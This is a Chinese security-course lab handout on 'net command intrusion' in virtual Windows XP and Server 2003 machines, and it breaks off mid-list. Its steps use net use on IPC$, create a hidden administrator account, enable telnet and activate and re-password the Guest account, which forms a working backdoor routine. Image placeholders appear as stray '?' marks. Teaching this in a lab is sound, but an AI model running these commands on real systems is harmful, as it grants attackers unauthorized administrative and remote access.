实验二 Net命令入侵.docVIP

实验二 07→信息安全实训→网络安全→课程1 Net命令入侵 实验目的与要求 1、了解NET入侵的过程 2、掌握NET命令的使用方法和它的参数搭配 实验环境 VPC1(虚拟PC） Windows xp和Windows server2003系统 VPC1?连接要求 PC?网络接口，本地连接与实验网络直连 软件描述 1、学生机要求安装java环境2、VPC安装Windows xp和Windows server2003系统 实验环境描述 XP作为客户端，Windows server 2003作为远程服务器。 预备知识 打开DOS的方法 DOS命令中的NET命令 实验内容 NET命令的使用方法和它的参数搭配 实验步骤 1、学生单击实验拓扑按钮，进入实验场景，单击“打开控制台”按钮，进入目标主机，（第一次启动目标主机，还需要安装java控件），如图所示: 在Windows xp（下面的是客户端）和server 2003（上面是服务器）系统，两人进行实验，相互得知对方的IP及用户名、密码。在此server 2003系统IP为81。此IP地址不固定，通过网上邻居查看服务器地址，或者使用ipconfig命令查看。? 2、点击windows xp的“打开控制台”，账号administrator,密码123456，登录到实验场景中的目标主机。 点击windows 2003的“打开控制台”，账号administrator,密码123456，登录到实验场景中的目标主机。如图所示： ?3?、登陆windows xp主机：“net use \\81\ipc$ 1?　/user:1?”如下图： ? 4、 创建一个用户，由于SA的权限相当于系统的超级用户，如：加一个sysusers的用户密码为111111?。输入命令：“net?　user sysusers 111111 /add”，如下图： ? 5、显示命令成功后，就可以把他加入Administrators组了，输入命令：“net localgroup Administrators sysusers /add”，如下图： ? 6、打开对方的TELNET服务命令为：“net start telnet”如下图： 注：“net start telnet”命令正常情况下可以开启对方的“telnet”服务，但是因为对方该服务禁用了，所以需要先把禁用给去掉，然后再启动。 7、将telnet服务设置为“自动”，命令为“sc config tlntsvr start= auto”，需要注意的是，telnet服务在这里一定要用“tlntsvr”，用“sc config telnet start= auto”是无法启动的，另外“=”号后边和“auto”之前要有一个空格，如下图： ? 8、启动“telnet”服务，命令为“net start telnet”或者用“net start tlntsvr”进行启动，如图： ? 9、激活Guest用户（guest是windows的默认用户），输入命令：“net user guest /active：yes” ? 10、把一个用户的密码改掉，把?guest的密码改为111111，其他用户也可以的。只要有权限就可以。执行“net user guest 111111”命令，如下图： ? ? ? 11、退出远程连接命令：“net use * /delete”，如下图： ? 　 ? ? 12、用net命令的帮助时，所有?net?命令接受选项?/ yes?和?/no（可缩写为?/ y?和?/n?）。/y?对命令产生的任何交互提示自动回答“是”，/n?回答“否”。例如，net stop server?通常提示确认是否根据服务器服务结束所有服务，net stop server /y?自动回答“是”并关闭服务器服务。如下图： ? ? 13、提供网络命令列表及帮助主题，或提供指定命令或主题的帮助。如想得到net命令的用法可以用“net /?”查询，如果想知道net命令中“use”的用法，可以直接输入“net use ?”或者“net use help”来进行进一步查询，或者用“net help use”来获得更详细的内容。 ? 如下图： ? ? 附：常用的net命令 Net start 启动服务，或显示已启动服务的列表。 net start [service] 启动相关的服务 相关服务包括?alerter、client service for netware、clipbook server、content index、comput er browser、dhcp client、directory replicator、eventlog、ftp publishing service